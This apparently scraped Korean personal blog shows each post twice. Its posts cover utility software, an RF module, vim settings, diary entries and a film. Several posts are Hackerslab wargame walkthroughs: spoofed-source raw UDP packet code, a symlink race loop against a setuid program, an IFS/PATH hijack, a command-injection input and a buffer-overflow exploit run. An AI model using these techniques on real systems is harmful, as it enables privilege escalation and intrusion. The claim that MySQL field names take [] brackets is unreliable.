이스트 소프트, 알씨리즈가 점점 바뀌어 간다. 내 컴퓨터에서
알ftp는 파일질라로, 알씨는 그냥 윈도우 XP 내장 뷰어로 본다.
가끔씩 뜨는 업데이트 요구 창도 짜증이 나고, 알ftp는 파일 전송에서 많은 오류를 겪었다.
파일질라를 쓰면서 그런 것들이 어플리케이션의 문제라고 확신하게 되었다. 코드는 볼 수 없으니.
시간도 없고 실력도 없고.
알씨는 그림 하나 클릭해서 보는데 너무 시간이 걸렸다. 윈도우 뷰어는 클릭하는 순간에...
그리고 uninstall하면 연결 파일을 복구시켜줘야 하는데.. 아예 알씨 지우고 나면 안 열린다. 그래서 제어판-폴더옵션에서 연결 프로그램을 윈도우 viewer로 선택을 해줬다 --;
알쏭은 아직 좋다. 하지만 집에 5.1채널 스피커 인데 윈엠프로 틀면 소리가 잘 나뉘지만 알송은 채널 지원이 미흡하다. 아직은 가사 나온다는 것 하나로 잘 쓰고 있다.
알ftp는 파일질라로, 알씨는 그냥 윈도우 XP 내장 뷰어로 본다.
가끔씩 뜨는 업데이트 요구 창도 짜증이 나고, 알ftp는 파일 전송에서 많은 오류를 겪었다.
파일질라를 쓰면서 그런 것들이 어플리케이션의 문제라고 확신하게 되었다. 코드는 볼 수 없으니.
시간도 없고 실력도 없고.
알씨는 그림 하나 클릭해서 보는데 너무 시간이 걸렸다. 윈도우 뷰어는 클릭하는 순간에...
그리고 uninstall하면 연결 파일을 복구시켜줘야 하는데.. 아예 알씨 지우고 나면 안 열린다. 그래서 제어판-폴더옵션에서 연결 프로그램을 윈도우 viewer로 선택을 해줬다 --;
알쏭은 아직 좋다. 하지만 집에 5.1채널 스피커 인데 윈엠프로 틀면 소리가 잘 나뉘지만 알송은 채널 지원이 미흡하다. 아직은 가사 나온다는 것 하나로 잘 쓰고 있다.
-----------------------------------------------------------------------
청우실업 RF모듈을 사용하는데 대단한 착각을 했다.
출력 단자에 - 부분을 연결하고 항상 +를 걸어 주면 LED에 불이 들어와 있다가 신호를
보내면 꺼졌다.
아~ 저렇게 사용하는구나 해서 74LS04로 not을 걸어주면 되겠네 라고 생각했다. --;
무식한 것이 불이 꺼지는 것은 전위차가 없는 것. 그러면 출력포트에 연결한 - 에도 5V가
걸린다는 것이다.
그럼, 거꾸로 +를 출력 단자에 연결하면 될 것을 --; 이런 무식쟁이.
그런데 브레드 보드에 실험할 때는 안되서 그랬었다. 아무래도 안테나가 없어서 신호 전달이 미약해서 그랬었던 가보다.
ㅠ.ㅠ
출력 단자에 - 부분을 연결하고 항상 +를 걸어 주면 LED에 불이 들어와 있다가 신호를
보내면 꺼졌다.
아~ 저렇게 사용하는구나 해서 74LS04로 not을 걸어주면 되겠네 라고 생각했다. --;
무식한 것이 불이 꺼지는 것은 전위차가 없는 것. 그러면 출력포트에 연결한 - 에도 5V가
걸린다는 것이다.
그럼, 거꾸로 +를 출력 단자에 연결하면 될 것을 --; 이런 무식쟁이.
그런데 브레드 보드에 실험할 때는 안되서 그랬었다. 아무래도 안테나가 없어서 신호 전달이 미약해서 그랬었던 가보다.
ㅠ.ㅠ
-----------------------------------------------------------------------
vi의 설정 파일은 /etc/vimrc 파일과 홈 디렉토리의 .vimrc 파일이다. 만약 GUI 버전의 vi를 사용한다면 /etc/gvimrc 파일과 .gvimrc파일로 설정할 수 있다. 앞에서 이미 vi를 설정하는 명령을 배웠고 몇 가지 옵션들도 이미 살펴보았다.
아래에서 다른 몇 가지 옵션들을 필자의 .vimrc 파일을 예로 들어 설명하겠다.
set autoindent " 자동으로 들여쓰기를 한다.
set cindent " C 프로그래밍을 할때 자동으로 들여쓰기를 한다.
set smartindent " 좀더 똑똑한 들여쓰기를 위한 옵션이다.
set textwidth=79 " 만약 79번째 글자를 넘어가면 \
set wrap " 자동으로 <CR>를 삽입하여 다음 줄로 넘어간다.
set nowrapscan " 검색할 때 문서의 끝에서 다시 처음으로 돌아가지 않는다.
set nobackup " 백업 파일을 만들지 않는다.
set visualbell " 키를 잘못눌렀을 때 삑 소리를 내는 대신 번쩍이게 한다.
set ruler " 화면 우측 하단에 현재 커서의 위치(줄,칸)를 보여준다.
set tabstop=4 " Tab을 눌렀을 때 8칸 대신 4칸 이동하도록 한다.
set shiftwidth=4 " 자동 들여쓰기를 할때 4칸 들여쓰도록 한다.
set cindent " C 프로그래밍을 할때 자동으로 들여쓰기를 한다.
set smartindent " 좀더 똑똑한 들여쓰기를 위한 옵션이다.
set textwidth=79 " 만약 79번째 글자를 넘어가면 \
set wrap " 자동으로 <CR>를 삽입하여 다음 줄로 넘어간다.
set nowrapscan " 검색할 때 문서의 끝에서 다시 처음으로 돌아가지 않는다.
set nobackup " 백업 파일을 만들지 않는다.
set visualbell " 키를 잘못눌렀을 때 삑 소리를 내는 대신 번쩍이게 한다.
set ruler " 화면 우측 하단에 현재 커서의 위치(줄,칸)를 보여준다.
set tabstop=4 " Tab을 눌렀을 때 8칸 대신 4칸 이동하도록 한다.
set shiftwidth=4 " 자동 들여쓰기를 할때 4칸 들여쓰도록 한다.
" 아래는 한글을 제대로 처리하기 위해 필요하다.
if $LANG[0] == `k' && $LANG[1] == `o'
set fileencoding=korea
endif
if $LANG[0] == `k' && $LANG[1] == `o'
set fileencoding=korea
endif
"터미널이 xterm-debian 혹은 xterm-xfree86일 경우 컬러를 사용한다.
if &term =~ "xterm-debian" || &term =~ "xterm-xfree86"
set t_Co=16
set t_Sf=^[[3%dm
set t_Sb=^[[4%dm
set t_kb=^H
fixdel
endif
"문법 강조 기능을 사용한다.if &term =~ "xterm-debian" || &term =~ "xterm-xfree86"
set t_Co=16
set t_Sf=^[[3%dm
set t_Sb=^[[4%dm
set t_kb=^H
fixdel
endif
if has("syntax")
syntax on " Default to no syntax highlightning
endif
--
보통 .vimrc가 없으니 자신의 홈 디렉토리에서 vi .vimrc 해서
set smartindent
set nu
set visualbell
만 넣어주면 정말 좋다~
-----------------------------------------------------------------------
지금까지 그러했듯, zeroline으로 돌리기 위해서 한달치는 쓸대없는 한자 공부로 다이어리를 채워야 겠다. 일주년이 지났음에도 불구하고 늘 밀리는 일기로 짜증이 난다. 뭐.. 안써도 되고. 건너뛰어서 제대로 된 것만 적는 것이 더 현명하겠지만.
보이기 위한 것도 중요하고. 나 자신과의 약속또한 중요하다. 쓰기로 했으니까.
네이버가 얼마나 백업을 잘하는지는 모른다. 내가 보탠것은 스킨 몇 번 결재한 것 빼고는 없다. 자료가 날아갔는데 어떤 항의를 해서 복구 할수 있을까? 저자세로 사과해봤자 결론은 그대로 일 것이다.
뭐, 이런저런 잡다한 생각은 그만하고. 비워진 일기나 채워보자.
쓸대없는 한자를 얘기를 내 절친한 벗 현재가 들으면 화를 내겠지만. __a 내 전공과는 전혀 무관하다. 그래도 고등학교 때 까지는 우리나라 대부분의 말과 글은 한자와 비슷. 그리고 책을 볼 때도 한자를 모르면 볼 수 없는 책이 많다는 이유가 날 공부시켜줬다.
꾸준히 안할거면 아예 시작 안하는게 좋은 것 같다. 요즈음에는 검은 현도 긴가민가 한다.
보이기 위한 것도 중요하고. 나 자신과의 약속또한 중요하다. 쓰기로 했으니까.
네이버가 얼마나 백업을 잘하는지는 모른다. 내가 보탠것은 스킨 몇 번 결재한 것 빼고는 없다. 자료가 날아갔는데 어떤 항의를 해서 복구 할수 있을까? 저자세로 사과해봤자 결론은 그대로 일 것이다.
뭐, 이런저런 잡다한 생각은 그만하고. 비워진 일기나 채워보자.
쓸대없는 한자를 얘기를 내 절친한 벗 현재가 들으면 화를 내겠지만. __a 내 전공과는 전혀 무관하다. 그래도 고등학교 때 까지는 우리나라 대부분의 말과 글은 한자와 비슷. 그리고 책을 볼 때도 한자를 모르면 볼 수 없는 책이 많다는 이유가 날 공부시켜줬다.
꾸준히 안할거면 아예 시작 안하는게 좋은 것 같다. 요즈음에는 검은 현도 긴가민가 한다.
-----------------------------------------------------------------------
죽치고 있다보니 .fr 붙은 곳(프랑스것지)에서 소스를 하나 올렸다. --; 안되는디.
참고로 요즈음 나온 gcc로는 안되기 때문에 레드헷 9 이전 버전에 깔린 cc나 gcc를 이용해야 한다.
-----------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/udp.h>
#define DATA_SIZE 43
#define DATA "랩10비번/받을 이메일"
struct packet
{
struct iphdr pip;
struct udphdr pudp;
char data[DATA_SIZE];
};
unsigned long resolve(char *sname);
unsigned short in_cksum(u_short *addr,int len);
int main(void)
{
int fd;
struct packet *udppkt;
struct sockaddr_in remote;
udppkt=(struct packet *) malloc(sizeof(struct packet));
bzero(udppkt, sizeof(struct packet));
udppkt->pip.saddr = resolve("203.239.123.39");
udppkt->pip.daddr = resolve("203.239.123.40");;
udppkt->pip.version = 4;
udppkt->pip.ihl = 5;
udppkt->pip.ttl = 255;
udppkt->pip.protocol = 17;
udppkt->pip.tos = 0;
udppkt->pip.id = htons (random());
udppkt->pip.frag_off = 0;
udppkt->pudp.source=htons(random());
udppkt->pudp.dest=htons(5555);
udppkt->pudp.len=DATA_SIZE+8;
memcpy((char *)&udppkt->data,DATA,DATA_SIZE);
udppkt->pudp.check=(unsigned short)in_cksum((unsigned short *)&udppkt->pudp,
sizeof(struct udphdr)+DATA_SIZE);
if( (fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW) )<0)
{
perror("SOCK_RAW");
return(-1);
}
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = udppkt->pip.daddr;
remote.sin_port = udppkt->pudp.dest;
if(sendto(fd,udppkt,sizeof(struct udphdr)+sizeof(struct iphdr)+DATA_SIZE,0,
(struct sockaddr *)&remote,sizeof (struct sockaddr)) == -1)
{
perror("sendto()");
return(-1);
}
printf("Packet sent, now check your mailbox ;)\n");
return 0;
}
unsigned long resolve(char *sname)
{
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip)
{
perror("gethostbyname()");
return(-1);
}
return *(unsigned long *)hip -> h_addr;
}
unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
참고로 요즈음 나온 gcc로는 안되기 때문에 레드헷 9 이전 버전에 깔린 cc나 gcc를 이용해야 한다.
-----------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/udp.h>
#define DATA_SIZE 43
#define DATA "랩10비번/받을 이메일"
struct packet
{
struct iphdr pip;
struct udphdr pudp;
char data[DATA_SIZE];
};
unsigned long resolve(char *sname);
unsigned short in_cksum(u_short *addr,int len);
int main(void)
{
int fd;
struct packet *udppkt;
struct sockaddr_in remote;
udppkt=(struct packet *) malloc(sizeof(struct packet));
bzero(udppkt, sizeof(struct packet));
udppkt->pip.saddr = resolve("203.239.123.39");
udppkt->pip.daddr = resolve("203.239.123.40");;
udppkt->pip.version = 4;
udppkt->pip.ihl = 5;
udppkt->pip.ttl = 255;
udppkt->pip.protocol = 17;
udppkt->pip.tos = 0;
udppkt->pip.id = htons (random());
udppkt->pip.frag_off = 0;
udppkt->pudp.source=htons(random());
udppkt->pudp.dest=htons(5555);
udppkt->pudp.len=DATA_SIZE+8;
memcpy((char *)&udppkt->data,DATA,DATA_SIZE);
udppkt->pudp.check=(unsigned short)in_cksum((unsigned short *)&udppkt->pudp,
sizeof(struct udphdr)+DATA_SIZE);
if( (fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW) )<0)
{
perror("SOCK_RAW");
return(-1);
}
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = udppkt->pip.daddr;
remote.sin_port = udppkt->pudp.dest;
if(sendto(fd,udppkt,sizeof(struct udphdr)+sizeof(struct iphdr)+DATA_SIZE,0,
(struct sockaddr *)&remote,sizeof (struct sockaddr)) == -1)
{
perror("sendto()");
return(-1);
}
printf("Packet sent, now check your mailbox ;)\n");
return 0;
}
unsigned long resolve(char *sname)
{
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip)
{
perror("gethostbyname()");
return(-1);
}
return *(unsigned long *)hip -> h_addr;
}
unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
-----------------------------------------------------------------------
이 소스로는 안된다. 해커스랩 10 --; 도대체 뭘로 패킷을 보내야 비번을 보내준단 말인고... temp 디렉토리에 죽치고 있어봐야 겠다. 누가 또 소스 안 올려주나....
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
#define DEST_IP "211.239.123.40"
#define DEST_PORT 5555
main()
{
int sockfd;
struct sockaddr_in dest_addr;
char *msg = "랩 10비번/연락받을 이메일 주소.";
int len, bytes_sent;
printf("\n##############################################################\n");
printf("sent message : %s\n", msg);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
perror("socket error!!!");
exit(1);
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
bzero(&(dest_addr.sin_zero), 8);
printf(" dest address : %s \n", inet_ntoa(dest_addr.sin_addr));
connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
len = strlen(msg);
bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
printf(" sent bytes : %d\n", bytes_sent);
printf(" ##############################################################\n");
close(sockfd);
}
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
#define DEST_IP "211.239.123.40"
#define DEST_PORT 5555
main()
{
int sockfd;
struct sockaddr_in dest_addr;
char *msg = "랩 10비번/연락받을 이메일 주소.";
int len, bytes_sent;
printf("\n##############################################################\n");
printf("sent message : %s\n", msg);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
perror("socket error!!!");
exit(1);
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
bzero(&(dest_addr.sin_zero), 8);
printf(" dest address : %s \n", inet_ntoa(dest_addr.sin_addr));
connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
len = strlen(msg);
bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
printf(" sent bytes : %d\n", bytes_sent);
printf(" ##############################################################\n");
close(sockfd);
}
-----------------------------------------------------------------------
이터널 선샤인...
친구가 추천해서 봤는데(국내 미개봉) 재미있었다.
참고로 내 장르는 액션인데... 요건 드라마틱 영화다.
잔잔한 감동을 즐기는 분이라면 강추.
짐캐리와 캐이트 윈슬릿 주연.
클럽박스 가면 쉽게 찾을 수 있다.
영화광인 내 친구가 생애 최고의 영화로 꼽았다.
(지금 자신의 처지와 비슷해서 그런 것 같긴하다)
친구가 추천해서 봤는데(국내 미개봉) 재미있었다.
참고로 내 장르는 액션인데... 요건 드라마틱 영화다.
잔잔한 감동을 즐기는 분이라면 강추.
짐캐리와 캐이트 윈슬릿 주연.
클럽박스 가면 쉽게 찾을 수 있다.
영화광인 내 친구가 생애 최고의 영화로 꼽았다.
(지금 자신의 처지와 비슷해서 그런 것 같긴하다)
-----------------------------------------------------------------------
올린 Smashing The Stack For Fun And Profit 의 문서 내용 중 expolit4.c를 이용.
exploit4 768
bof $RET
pass
exploit4 768
bof $RET
pass
-----------------------------------------------------------------------
hackers lab level 9
race condition script
race-------------------
#!/bin/sh
while true
do
/usr/bin/ps2 &
rm -rf /var/tmp2/ps2.tmp
ln -sf /tmp/level8_tmp/race2 /var/tmp2/ps2.tmp
done
^D
race2 파일 내용은 /bin/pass ^D
./race > race.txt
file exit
file exit
file exit
.
.
.
다른 문자 나올 때 Ctrl+\ 누르고 중지 후 race.txt 내용보면 됨.
race condition script
race-------------------
#!/bin/sh
while true
do
/usr/bin/ps2 &
rm -rf /var/tmp2/ps2.tmp
ln -sf /tmp/level8_tmp/race2 /var/tmp2/ps2.tmp
done
^D
race2 파일 내용은 /bin/pass ^D
./race > race.txt
file exit
file exit
file exit
.
.
.
다른 문자 나올 때 Ctrl+\ 누르고 중지 후 race.txt 내용보면 됨.
-----------------------------------------------------------------------
hackers lab level 8
find / -user level8 -group level7 -print
/dev/audio2
자료실의 패스워드 크렉으로 크렉.
find / -user level8 -group level7 -print
/dev/audio2
자료실의 패스워드 크렉으로 크렉.
-----------------------------------------------------------------------
hackers lab level 7
netstat -nap | grep LISTEN
netstat -nap | grep LISTEN
-----------------------------------------------------------------------
hackers lab level 5+1
find / -user level6 -group level5 -print
strings /lib/security/pam_auth.so
find / -user level6 -group level5 -print
strings /lib/security/pam_auth.so
-----------------------------------------------------------------------
hackers lab level 4
find / -user level5 -group level4 -print
cat > clear
/bin/pass
^d
/usr/games/trojka
find / -user level5 -group level4 -print
cat > clear
/bin/pass
^d
/usr/games/trojka
-----------------------------------------------------------------------
hackers lab level 3
find / -user level4 -group level3 -print
.
.
.
today 파일 tmp에 복사 후
bin 파일 생성. /bin/pass 실행하게끔.
IFS=/
export IFS
PATH=.
./today
find / -user level4 -group level3 -print
.
.
.
today 파일 tmp에 복사 후
bin 파일 생성. /bin/pass 실행하게끔.
IFS=/
export IFS
PATH=.
./today
-----------------------------------------------------------------------
hackers lab level 2
find / -user level3 -group level2 -print
/usr/bin/alert
! pass
find / -user level3 -group level2 -print
/usr/bin/alert
! pass
-----------------------------------------------------------------------
hackers lab level 1
find / -user level2 -group level1 -print
cd /bin
amos
kkkkk ; pass
find / -user level2 -group level1 -print
cd /bin
amos
kkkkk ; pass
-----------------------------------------------------------------------
hackers lab level 0
find /dev -user level1 -group level0 -print
pass
find /dev -user level1 -group level0 -print
pass
-----------------------------------------------------------------------
월의 마지막이다. --; 임베디드를 해야 하는데 학과 공부랑 부탁받은 php 숙제 때문에 시간이 너무 많이 뺏긴다. 하나만 하고 싶은디. 그 하나도 엄청 넓지만.
이런 글귀가 있었다. "어떤 질문을 해도 대부분 대답해 줄 수 있는 고수가 옆에 있는 행운은 아무에게나 오는 것이 아니다" 라는.
요즈음 좋아하는 것이 생기면서 정말도 그런 것 같다. 중요한 것은 일에서 고수와 감정적으로 흔들릴 때 기댈 수 있는 친구와 같은 존재는 구분된다는 것이다. 물론, 같은 존재가 되면 금상첨화겠지만. 대부분이 아니다.
정신적으로도 정서적으로도 좋은 스승이 필요하다. 그리고 정서적인 스승은 대부분 가까이 있다. 소중함을 알아야 보이는 것 같다.
이런 글귀가 있었다. "어떤 질문을 해도 대부분 대답해 줄 수 있는 고수가 옆에 있는 행운은 아무에게나 오는 것이 아니다" 라는.
요즈음 좋아하는 것이 생기면서 정말도 그런 것 같다. 중요한 것은 일에서 고수와 감정적으로 흔들릴 때 기댈 수 있는 친구와 같은 존재는 구분된다는 것이다. 물론, 같은 존재가 되면 금상첨화겠지만. 대부분이 아니다.
정신적으로도 정서적으로도 좋은 스승이 필요하다. 그리고 정서적인 스승은 대부분 가까이 있다. 소중함을 알아야 보이는 것 같다.
------------------------------------------------------------------
test server에서 본 server로 mysql관련 php를 옮길 때 데이터 베이스 DB명을 잘못쓰니까 자꾸
mysql 쿼리문이 잘못되었다는 메시지가 떴다. worning 어쩌구... ㅠ.ㅠ 사소한 사소한.
선배한테 배웠는데 name 같이 예약어로 쓰일 수 있을 법한 필드명은 쿼리시 []로 둘러싸면 안전하다고 한다. ^^; [name] 요렇게 말이다.
게다가 아주 좋은 select 뿌려주는 것을 배웠다. 대부분의 책에서는 mysql_fetch_row()를 쓰던데.
while($row = mysql_fetch_array($result))
{
echo $row["필드명"];
}
을 쓰면 자동적으로 마지막 데이터까지 뿌려준다.
mysql 쿼리문이 잘못되었다는 메시지가 떴다. worning 어쩌구... ㅠ.ㅠ 사소한 사소한.
선배한테 배웠는데 name 같이 예약어로 쓰일 수 있을 법한 필드명은 쿼리시 []로 둘러싸면 안전하다고 한다. ^^; [name] 요렇게 말이다.
게다가 아주 좋은 select 뿌려주는 것을 배웠다. 대부분의 책에서는 mysql_fetch_row()를 쓰던데.
while($row = mysql_fetch_array($result))
{
echo $row["필드명"];
}
을 쓰면 자동적으로 마지막 데이터까지 뿌려준다.
----------------------------------------------------------
댓글 없음:
댓글 쓰기
국정원의 댓글 공작을 지탄합니다.